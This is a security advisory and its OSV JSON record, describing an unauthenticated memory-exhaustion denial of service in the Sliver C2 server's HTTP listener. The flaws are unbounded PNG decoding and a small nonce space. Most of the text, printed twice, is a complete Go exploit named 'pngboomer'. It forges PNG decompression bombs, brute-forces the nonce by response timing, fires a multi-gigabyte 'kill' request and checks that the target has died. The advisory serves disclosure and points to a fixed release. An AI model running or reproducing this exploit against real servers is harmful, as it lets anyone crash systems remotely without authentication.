GHSA-663M-7X7M-G4FW
Vulnerability from github – Published: 2026-10-15 20:09 – Updated: 2026-10-15 20:09Summary
Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.
Details
The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go
const (
EncoderModulus = uint64(65537)
)
The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:
util/encoders/images.go
func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
img := imageFromBytes(data)
var buf bytes.Buffer
encoder.Encode(&buf, img)
return buf.Bytes(), nil
}
func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
buf := bytes.NewBuffer(data)
img, err := png.Decode(buf)
if err != nil { return nil, err }
return bytesFromImage(img), nil
}
PoC
The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.
Get the latest version of Sliver (Currently 1.7.3)
git clone https://github.com/BishopFox/sliver.git
Build the Docker container:
cd sliver
docker build -t sliver-test:local -f Dockerfile .
Run the Docker container with a memory cap for example 4GB:
docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local
After the Docker container starts, create an http listener on port 8080:
http -L 0.0.0.0 -l 8080
In a seperate terminal create the following Go project:
go.mod
module pngboomer
go 1.25
poc.go
// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build: go build -o pngboomer
// Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"flag"
"fmt"
"hash/crc32"
"io"
"math/rand"
"net"
"net/http"
"net/url"
"os"
"sort"
"sync"
"sync/atomic"
"time"
)
// ANSI color — single helper, disabled by -no-color / -silent.
var nocolor bool
func col(code, s string) string {
if nocolor {
return s
}
return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string { return col("1", s) }
func D(s string) string { return col("2", s) }
func R(s string) string { return col("1;31", s) }
func G(s string) string { return col("1;32", s) }
func Y(s string) string { return col("1;33", s) }
func C(s string) string { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }
// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
out := make([]byte, 4, 12+len(data))
binary.BigEndian.PutUint32(out, uint32(len(data)))
out = append(out, typ...)
out = append(out, data...)
crc := crc32.NewIEEE()
crc.Write([]byte(typ))
crc.Write(data)
tail := make([]byte, 4)
binary.BigEndian.PutUint32(tail, crc.Sum32())
return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
bpp := 3
if ct == 6 {
bpp = 4
}
var zb bytes.Buffer
zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
row := make([]byte, 1+bpp*W)
for i := 0; i < H; i++ {
zw.Write(row)
}
zw.Close()
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
ihdr[8], ihdr[9] = 8, byte(ct)
out := []byte("\x89PNG\r\n\x1a\n")
out = append(out, chunk("IHDR", ihdr)...)
out = append(out, chunk("IDAT", zb.Bytes())...)
return append(out, chunk("IEND", nil)...)
}
// HTTP helpers
func hostPort(u string) string {
p, _ := url.Parse(u)
if p.Port() != "" {
return p.Hostname() + ":" + p.Port()
}
if p.Scheme == "https" {
return p.Hostname() + ":443"
}
return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
c, err := net.DialTimeout("tcp", hp, t)
if err != nil {
return false
}
c.Close()
return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
req, _ := http.NewRequestWithContext(ctx, "POST",
fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
req.Header.Set("Content-Type", "application/octet-stream")
t := time.Now()
resp, err := cli.Do(req)
dt := time.Since(t)
if err == nil {
io.Copy(io.Discard, resp.Body)
resp.Body.Close()
}
return dt
}
type hit struct {
n uint64
dt time.Duration
}
func main() {
target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
workers := flag.Int("workers", 8, "scan concurrency")
probeW := flag.Int("probe-w", 2000, "probe PNG width")
probeH := flag.Int("probe-h", 2000, "probe PNG height")
probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
killW := flag.Int("kill-w", 32767, "kill PNG width")
killH := flag.Int("kill-h", 32767, "kill PNG height")
killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))")
outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold")
calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
verifyN := flag.Int("verify", 3, "re-probe count per candidate")
maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
noClr := flag.Bool("no-color", false, "disable ANSI color")
silent := flag.Bool("silent", false, "only print nonce on stdout")
flag.Parse()
nocolor = *noClr || *silent
pBpp, kBpp := 3, 3
if *probeCT == 6 {
pBpp = 4
}
if *killCT == 6 {
kBpp = 4
}
probeMB := pBpp * *probeW * *probeH / 1024 / 1024
killMB := kBpp * *killW * *killH / 1024 / 1024
peakMB := *workers * probeMB
if *capMB > 0 && peakMB > *capMB/2 {
fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n",
R("[X] safety:"), peakMB, *capMB)
os.Exit(2)
}
probe := makePNG(*probeW, *probeH, *probeCT)
kill := makePNG(*killW, *killH, *killCT)
hp := hostPort(*target)
if !alive(hp, 2*time.Second) {
fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp)
os.Exit(2)
}
if !*silent {
fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS"))
fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode\n",
len(probe), *probeW, *probeH, *probeCT, probeMB)
fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode\n",
len(kill), *killW, *killH, *killCT, killMB)
fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s\n",
peakMB, *capMB, B(hp))
}
cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}
pngN := uint64(*known)
if pngN == 0 {
// ─── Phase 1: calibrate non-PNG baseline ───
dts := make([]time.Duration, *calibN)
sem := make(chan struct{}, 8)
var wg sync.WaitGroup
for i := 0; i < *calibN; i++ {
i := i
sem <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sem }()
dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))
}()
}
wg.Wait()
sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })
p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]
eff := int64(*thMs)
if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {
eff = a
}
*thMs = int(eff)
thresh := time.Duration(*thMs) * time.Millisecond
if !*silent {
fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\n",
ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier)
}
// ─── Phase 2: scan with verify + blacklist-on-blip ───
blacklist := map[uint64]bool{}
var maxDt int64
var maxNonce uint64
var totalDone uint64
scanStart := time.Now()
const maxBlips = 8
// Shuffled nonce order, shared across re-scans. Workers pull via atomic
// counter — no channels, no producer goroutine.
order := make([]uint64, *maxN-1)
for i := range order {
order[i] = uint64(i + 1)
}
rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })
for blip := 0; blip < maxBlips && pngN == 0; blip++ {
scanCtx, scanCancel := context.WithCancel(context.Background())
hits := make(chan hit, 1)
var idx int64
var scanned uint64
var swg sync.WaitGroup
for i := 0; i < *workers; i++ {
swg.Add(1)
go func() {
defer swg.Done()
for scanCtx.Err() == nil {
i := atomic.AddInt64(&idx, 1) - 1
if i >= int64(len(order)) {
return
}
n := order[i]
if blacklist[n] {
continue
}
dt := post(scanCtx, cli, *target, probe, n)
atomic.AddUint64(&scanned, 1)
for { // track slowest probe (lock-free CAS)
cur := atomic.LoadInt64(&maxDt)
if dt.Nanoseconds() <= cur {
break
}
if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {
atomic.StoreUint64(&maxNonce, n)
break
}
}
if dt >= thresh {
select {
case hits <- hit{n, dt}:
default:
}
scanCancel()
return
}
}
}()
}
if !*silent {
go func() {
t := time.NewTicker(750 * time.Millisecond)
defer t.Stop()
for {
select {
case <-scanCtx.Done():
return
case <-t.C:
tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)
el := time.Since(scanStart).Seconds()
fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)\n"),
tot, float64(tot)/el, el, blip)
}
}
}()
}
go func() { swg.Wait(); close(hits) }()
cand, ok := <-hits
scanCancel()
atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))
if !ok {
break // exhausted, no candidate
}
// VERIFY: re-probe N×, count threshold hits, render tries inline
conf := 0
var tries bytes.Buffer
for i := 0; i < *verifyN; i++ {
dt := post(context.Background(), cli, *target, probe, cand.n)
if dt >= thresh {
conf++
tries.WriteString(G("✓"))
} else {
tries.WriteString(R("✗"))
}
fmt.Fprintf(&tries, "%.0fms ", ms(dt))
}
if !*silent {
fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s\n",
B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String())
}
if conf >= (*verifyN+1)/2 {
pngN = cand.n
if !*silent {
fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n",
G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)),
time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))
}
break
}
blacklist[cand.n] = true
if !*silent {
fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n",
Y("[!] blip"), cand.n, conf, *verifyN)
}
}
if pngN == 0 {
mDt := time.Duration(atomic.LoadInt64(&maxDt))
mN := atomic.LoadUint64(&maxNonce)
fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n",
R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone))
fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt))
suggest := mDt.Milliseconds() * 6 / 10
if suggest < 30 {
suggest = 30
}
fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h\n",
C(fmt.Sprintf("-threshold-ms %d", suggest)))
os.Exit(2)
}
}
if *scanOnly {
fmt.Println(pngN)
return
}
// ─── Phase 3: fire kill bomb ───
if !*silent {
fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n",
B("[*]"), killMB, *target, pngN)
}
kCli := &http.Client{Timeout: *kTO}
killStart := time.Now()
done := make(chan struct{})
go func() {
dt := post(context.Background(), kCli, *target, kill, pngN)
if !*silent {
fmt.Fprintf(os.Stderr, " kill returned in %.2fs\n", dt.Seconds())
}
close(done)
}()
if *noConf {
<-done
fmt.Println(pngN)
return
}
deadline := time.Now().Add(*kTO)
for time.Now().Before(deadline) {
time.Sleep(250 * time.Millisecond)
if !alive(hp, time.Second) {
if !*silent {
fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n",
G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp)
}
fmt.Println(pngN)
return
}
}
fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO)
os.Exit(1)
}
Impact
This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.
Collaboration
This vulnerability was found with the help of Wencheng Xue (panwnvda).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/BishopFox/sliver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77622"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:09:33Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nSliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. \n### Details\n\nThe first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`\n```go\nconst (\n EncoderModulus = uint64(65537)\n)\n```\n\nThe second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:\n`util/encoders/images.go`\n\n```go\nfunc (p PNGEncoder) Encode(data []byte) ([]byte, error) {\n img := imageFromBytes(data)\n var buf bytes.Buffer\n encoder.Encode(\u0026buf, img)\n return buf.Bytes(), nil\n}\n\nfunc (p PNGEncoder) Decode(data []byte) ([]byte, error) {\n buf := bytes.NewBuffer(data)\n img, err := png.Decode(buf)\n if err != nil { return nil, err }\n return bytesFromImage(img), nil\n}\n```\n\n### PoC\nThe first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.\n\nGet the latest version of Sliver (Currently 1.7.3)\n```bash\ngit clone https://github.com/BishopFox/sliver.git\n```\n\nBuild the Docker container:\n```bash\ncd sliver\ndocker build -t sliver-test:local -f Dockerfile .\n```\n\nRun the Docker container with a memory cap for example 4GB:\n```bash\ndocker run --rm \\\n--name sliver-test \\\n--memory=4g \\\n-p 8080:8080 \\\n-it \\\nsliver-test:local \n```\n\nAfter the Docker container starts, create an http listener on port 8080:\n\n```bash\nhttp -L 0.0.0.0 -l 8080\n```\n\nIn a seperate terminal create the following Go project:\n`go.mod`\n```Go\nmodule pngboomer\ngo 1.25\n```\n\n`poc.go`\n```Go\n// pngboomer \u2014 Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.\n//\n// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run\n// it against a Docker container with --memory=\u003cN\u003eg and pass -target-cap-mb N\n// so the tool can refuse dangerous worker/probe combos.\n//\n// Build: go build -o pngboomer\n// Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240\npackage main\n\nimport (\n \"bytes\"\n \"compress/zlib\"\n \"context\"\n \"encoding/binary\"\n \"flag\"\n \"fmt\"\n \"hash/crc32\"\n \"io\"\n \"math/rand\"\n \"net\"\n \"net/http\"\n \"net/url\"\n \"os\"\n \"sort\"\n \"sync\"\n \"sync/atomic\"\n \"time\"\n)\n\n// ANSI color \u2014 single helper, disabled by -no-color / -silent.\nvar nocolor bool\n\nfunc col(code, s string) string {\n if nocolor {\n return s\n }\n return \"\\x1b[\" + code + \"m\" + s + \"\\x1b[0m\"\n}\nfunc B(s string) string { return col(\"1\", s) }\nfunc D(s string) string { return col(\"2\", s) }\nfunc R(s string) string { return col(\"1;31\", s) }\nfunc G(s string) string { return col(\"1;32\", s) }\nfunc Y(s string) string { return col(\"1;33\", s) }\nfunc C(s string) string { return col(\"1;36\", s) }\nfunc ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }\n\n// PNG forging \u2014 stream zero-rows into zlib so client RSS stays ~10 MB even for\n// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).\nfunc chunk(typ string, data []byte) []byte {\n out := make([]byte, 4, 12+len(data))\n binary.BigEndian.PutUint32(out, uint32(len(data)))\n out = append(out, typ...)\n out = append(out, data...)\n crc := crc32.NewIEEE()\n crc.Write([]byte(typ))\n crc.Write(data)\n tail := make([]byte, 4)\n binary.BigEndian.PutUint32(tail, crc.Sum32())\n return append(out, tail...)\n}\nfunc makePNG(W, H, ct int) []byte {\n bpp := 3\n if ct == 6 {\n bpp = 4\n }\n var zb bytes.Buffer\n zw, _ := zlib.NewWriterLevel(\u0026zb, zlib.BestCompression)\n row := make([]byte, 1+bpp*W)\n for i := 0; i \u003c H; i++ {\n zw.Write(row)\n }\n zw.Close()\n ihdr := make([]byte, 13)\n binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))\n binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))\n ihdr[8], ihdr[9] = 8, byte(ct)\n out := []byte(\"\\x89PNG\\r\\n\\x1a\\n\")\n out = append(out, chunk(\"IHDR\", ihdr)...)\n out = append(out, chunk(\"IDAT\", zb.Bytes())...)\n return append(out, chunk(\"IEND\", nil)...)\n}\n\n// HTTP helpers\nfunc hostPort(u string) string {\n p, _ := url.Parse(u)\n if p.Port() != \"\" {\n return p.Hostname() + \":\" + p.Port()\n }\n if p.Scheme == \"https\" {\n return p.Hostname() + \":443\"\n }\n return p.Hostname() + \":80\"\n}\nfunc alive(hp string, t time.Duration) bool {\n c, err := net.DialTimeout(\"tcp\", hp, t)\n if err != nil {\n return false\n }\n c.Close()\n return true\n}\nfunc post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {\n req, _ := http.NewRequestWithContext(ctx, \"POST\",\n fmt.Sprintf(\"%s?n=%d\", base, n), bytes.NewReader(body))\n req.Header.Set(\"Content-Type\", \"application/octet-stream\")\n t := time.Now()\n resp, err := cli.Do(req)\n dt := time.Since(t)\n if err == nil {\n io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n }\n return dt\n}\n\ntype hit struct {\n n uint64\n dt time.Duration\n}\n\nfunc main() {\n target := flag.String(\"url\", \"http://127.0.0.1:8080/\", \"Sliver HTTP C2 base URL\")\n workers := flag.Int(\"workers\", 8, \"scan concurrency\")\n probeW := flag.Int(\"probe-w\", 2000, \"probe PNG width\")\n probeH := flag.Int(\"probe-h\", 2000, \"probe PNG height\")\n probeCT := flag.Int(\"probe-color\", 2, \"probe color: 2=RGB, 6=RGBA\")\n killW := flag.Int(\"kill-w\", 32767, \"kill PNG width\")\n killH := flag.Int(\"kill-h\", 32767, \"kill PNG height\")\n killCT := flag.Int(\"kill-color\", 6, \"kill color: 2=RGB, 6=RGBA\")\n thMs := flag.Int(\"threshold-ms\", 50, \"threshold floor (effective = max(this, baseline_p99 \u00d7 outlier-mult))\")\n outlier := flag.Float64(\"outlier-mult\", 15.0, \"baseline_p99 \u00d7 this = adaptive threshold\")\n calibN := flag.Int(\"calibrate\", 16, \"non-PNG calibration samples\")\n verifyN := flag.Int(\"verify\", 3, \"re-probe count per candidate\")\n maxN := flag.Int(\"max-nonce\", 65537, \"top nonce (Sliver modulus = 65537)\")\n pTO := flag.Duration(\"probe-timeout\", 5*time.Second, \"per-probe HTTP timeout\")\n kTO := flag.Duration(\"kill-timeout\", 180*time.Second, \"kill request HTTP timeout\")\n capMB := flag.Int(\"target-cap-mb\", 10240, \"declared target memory cap, 0 = disable check\")\n known := flag.Int(\"nonce\", 0, \"skip scan, use this nonce directly\")\n scanOnly := flag.Bool(\"scan-only\", false, \"stop after finding nonce, don\u0027t kill\")\n noConf := flag.Bool(\"no-confirm\", false, \"don\u0027t TCP-poll for death after kill\")\n noClr := flag.Bool(\"no-color\", false, \"disable ANSI color\")\n silent := flag.Bool(\"silent\", false, \"only print nonce on stdout\")\n flag.Parse()\n\n nocolor = *noClr || *silent\n pBpp, kBpp := 3, 3\n if *probeCT == 6 {\n pBpp = 4\n }\n if *killCT == 6 {\n kBpp = 4\n }\n probeMB := pBpp * *probeW * *probeH / 1024 / 1024\n killMB := kBpp * *killW * *killH / 1024 / 1024\n peakMB := *workers * probeMB\n if *capMB \u003e 0 \u0026\u0026 peakMB \u003e *capMB/2 {\n fmt.Fprintf(os.Stderr, \"%s scan peak %d MiB \u003e target cap %d / 2 \u2014 lower -workers or -probe-w/h\\n\",\n R(\"[X] safety:\"), peakMB, *capMB)\n os.Exit(2)\n }\n\n probe := makePNG(*probeW, *probeH, *probeCT)\n kill := makePNG(*killW, *killH, *killCT)\n hp := hostPort(*target)\n if !alive(hp, 2*time.Second) {\n fmt.Fprintf(os.Stderr, \"%s target unreachable: %s\\n\", R(\"[X]\"), hp)\n os.Exit(2)\n }\n if !*silent {\n fmt.Fprintln(os.Stderr, B(\"pngboomer \u2014 Sliver C2 PNG-bomb DoS\"))\n fmt.Fprintf(os.Stderr, \" probe %dB wire %dx%d c=%d \u2192 %d MiB decode\\n\",\n len(probe), *probeW, *probeH, *probeCT, probeMB)\n fmt.Fprintf(os.Stderr, \" kill %dB wire %dx%d c=%d \u2192 %d MiB decode\\n\",\n len(kill), *killW, *killH, *killCT, killMB)\n fmt.Fprintf(os.Stderr, \" scan peak \u2248 %d MiB target cap=%d MiB reachable=%s\\n\",\n peakMB, *capMB, B(hp))\n }\n\n cli := \u0026http.Client{Timeout: *pTO, Transport: \u0026http.Transport{MaxIdleConnsPerHost: *workers}}\n pngN := uint64(*known)\n\n if pngN == 0 {\n // \u2500\u2500\u2500 Phase 1: calibrate non-PNG baseline \u2500\u2500\u2500\n dts := make([]time.Duration, *calibN)\n sem := make(chan struct{}, 8)\n var wg sync.WaitGroup\n for i := 0; i \u003c *calibN; i++ {\n i := i\n sem \u003c- struct{}{}\n wg.Add(1)\n go func() {\n defer wg.Done()\n defer func() { \u003c-sem }()\n dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))\n }()\n }\n wg.Wait()\n sort.Slice(dts, func(i, j int) bool { return dts[i] \u003c dts[j] })\n p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]\n eff := int64(*thMs)\n if a := int64(float64(p99.Milliseconds()) * *outlier); a \u003e eff {\n eff = a\n }\n *thMs = int(eff)\n thresh := time.Duration(*thMs) * time.Millisecond\n if !*silent {\n fmt.Fprintf(os.Stderr, \" baseline p50=%.0fms p99=%.0fms \u2192 threshold=%s (max of floor, p99\u00d7%.0f)\\n\",\n ms(p50), ms(p99), B(fmt.Sprintf(\"%dms\", *thMs)), *outlier)\n }\n\n // \u2500\u2500\u2500 Phase 2: scan with verify + blacklist-on-blip \u2500\u2500\u2500\n blacklist := map[uint64]bool{}\n var maxDt int64\n var maxNonce uint64\n var totalDone uint64\n scanStart := time.Now()\n const maxBlips = 8\n\n // Shuffled nonce order, shared across re-scans. Workers pull via atomic\n // counter \u2014 no channels, no producer goroutine.\n order := make([]uint64, *maxN-1)\n for i := range order {\n order[i] = uint64(i + 1)\n }\n rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })\n\n for blip := 0; blip \u003c maxBlips \u0026\u0026 pngN == 0; blip++ {\n scanCtx, scanCancel := context.WithCancel(context.Background())\n hits := make(chan hit, 1)\n var idx int64\n var scanned uint64\n var swg sync.WaitGroup\n for i := 0; i \u003c *workers; i++ {\n swg.Add(1)\n go func() {\n defer swg.Done()\n for scanCtx.Err() == nil {\n i := atomic.AddInt64(\u0026idx, 1) - 1\n if i \u003e= int64(len(order)) {\n return\n }\n n := order[i]\n if blacklist[n] {\n continue\n }\n dt := post(scanCtx, cli, *target, probe, n)\n atomic.AddUint64(\u0026scanned, 1)\n for { // track slowest probe (lock-free CAS)\n cur := atomic.LoadInt64(\u0026maxDt)\n if dt.Nanoseconds() \u003c= cur {\n break\n }\n if atomic.CompareAndSwapInt64(\u0026maxDt, cur, dt.Nanoseconds()) {\n atomic.StoreUint64(\u0026maxNonce, n)\n break\n }\n }\n if dt \u003e= thresh {\n select {\n case hits \u003c- hit{n, dt}:\n default:\n }\n scanCancel()\n return\n }\n }\n }()\n }\n\n if !*silent {\n go func() {\n t := time.NewTicker(750 * time.Millisecond)\n defer t.Stop()\n for {\n select {\n case \u003c-scanCtx.Done():\n return\n case \u003c-t.C:\n tot := atomic.LoadUint64(\u0026totalDone) + atomic.LoadUint64(\u0026scanned)\n el := time.Since(scanStart).Seconds()\n fmt.Fprintf(os.Stderr, D(\" scanned %d (%.0f/s, %.1fs, blips=%d)\\n\"),\n tot, float64(tot)/el, el, blip)\n }\n }\n }()\n }\n\n go func() { swg.Wait(); close(hits) }()\n cand, ok := \u003c-hits\n scanCancel()\n atomic.AddUint64(\u0026totalDone, atomic.LoadUint64(\u0026scanned))\n if !ok {\n break // exhausted, no candidate\n }\n\n // VERIFY: re-probe N\u00d7, count threshold hits, render tries inline\n conf := 0\n var tries bytes.Buffer\n for i := 0; i \u003c *verifyN; i++ {\n dt := post(context.Background(), cli, *target, probe, cand.n)\n if dt \u003e= thresh {\n conf++\n tries.WriteString(G(\"\u2713\"))\n } else {\n tries.WriteString(R(\"\u2717\"))\n }\n fmt.Fprintf(\u0026tries, \"%.0fms \", ms(dt))\n }\n if !*silent {\n fmt.Fprintf(os.Stderr, \" candidate %s (%.0fms) verify: %s\\n\",\n B(fmt.Sprintf(\"%d\", cand.n)), ms(cand.dt), tries.String())\n }\n if conf \u003e= (*verifyN+1)/2 {\n pngN = cand.n\n if !*silent {\n fmt.Fprintf(os.Stderr, \"%s nonce=%s in %.2fs (%d probes, %d blips)\\n\",\n G(\"[+] FOUND\"), B(fmt.Sprintf(\"%d\", pngN)),\n time.Since(scanStart).Seconds(), atomic.LoadUint64(\u0026totalDone), len(blacklist))\n }\n break\n }\n blacklist[cand.n] = true\n if !*silent {\n fmt.Fprintf(os.Stderr, \"%s nonce %d rejected (%d/%d) \u2014 blacklisted\\n\",\n Y(\"[!] blip\"), cand.n, conf, *verifyN)\n }\n }\n\n if pngN == 0 {\n mDt := time.Duration(atomic.LoadInt64(\u0026maxDt))\n mN := atomic.LoadUint64(\u0026maxNonce)\n fmt.Fprintf(os.Stderr, \"%s no candidate \u2265 %dms after %d probes\\n\",\n R(\"[X] scan failed:\"), *thMs, atomic.LoadUint64(\u0026totalDone))\n fmt.Fprintf(os.Stderr, \" slowest probe: nonce=%d at %.0fms\\n\", mN, ms(mDt))\n suggest := mDt.Milliseconds() * 6 / 10\n if suggest \u003c 30 {\n suggest = 30\n }\n fmt.Fprintf(os.Stderr, \" fix: %s or grow -probe-w/-probe-h\\n\",\n C(fmt.Sprintf(\"-threshold-ms %d\", suggest)))\n os.Exit(2)\n }\n }\n\n if *scanOnly {\n fmt.Println(pngN)\n return\n }\n\n // \u2500\u2500\u2500 Phase 3: fire kill bomb \u2500\u2500\u2500\n if !*silent {\n fmt.Fprintf(os.Stderr, \"%s firing kill (%d MiB decode) at %s?n=%d\\n\",\n B(\"[*]\"), killMB, *target, pngN)\n }\n kCli := \u0026http.Client{Timeout: *kTO}\n killStart := time.Now()\n done := make(chan struct{})\n go func() {\n dt := post(context.Background(), kCli, *target, kill, pngN)\n if !*silent {\n fmt.Fprintf(os.Stderr, \" kill returned in %.2fs\\n\", dt.Seconds())\n }\n close(done)\n }()\n\n if *noConf {\n \u003c-done\n fmt.Println(pngN)\n return\n }\n\n deadline := time.Now().Add(*kTO)\n for time.Now().Before(deadline) {\n time.Sleep(250 * time.Millisecond)\n if !alive(hp, time.Second) {\n if !*silent {\n fmt.Fprintf(os.Stderr, \"%s killed in %.2fs (TCP refused at %s)\\n\",\n G(\"[+] \u2605 TARGET DEAD \u2605\"), time.Since(killStart).Seconds(), hp)\n }\n fmt.Println(pngN)\n return\n }\n }\n fmt.Fprintf(os.Stderr, \"%s target alive after %s \u2014 try larger -kill-w/-kill-h\\n\", Y(\"[!]\"), *kTO)\n os.Exit(1)\n}\n```\n\n### Impact\nThis vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.\n\n### Collaboration\nThis vulnerability was found with the help of Wencheng Xue (panwnvda).",
"id": "GHSA-663m-7x7m-g4fw",
"modified": "2026-10-15T20:09:33Z",
"published": "2026-10-15T20:09:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-663m-7x7m-g4fw"
},
{
"type": "WEB",
"url": "https://github.com/BishopFox/sliver/commit/80273462bd8b2a3cd724d2d6d0301a0cabfa977d"
},
{
"type": "PACKAGE",
"url": "https://github.com/BishopFox/sliver"
},
{
"type": "WEB",
"url": "https://github.com/BishopFox/sliver/releases/tag/v1.7.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder"
}
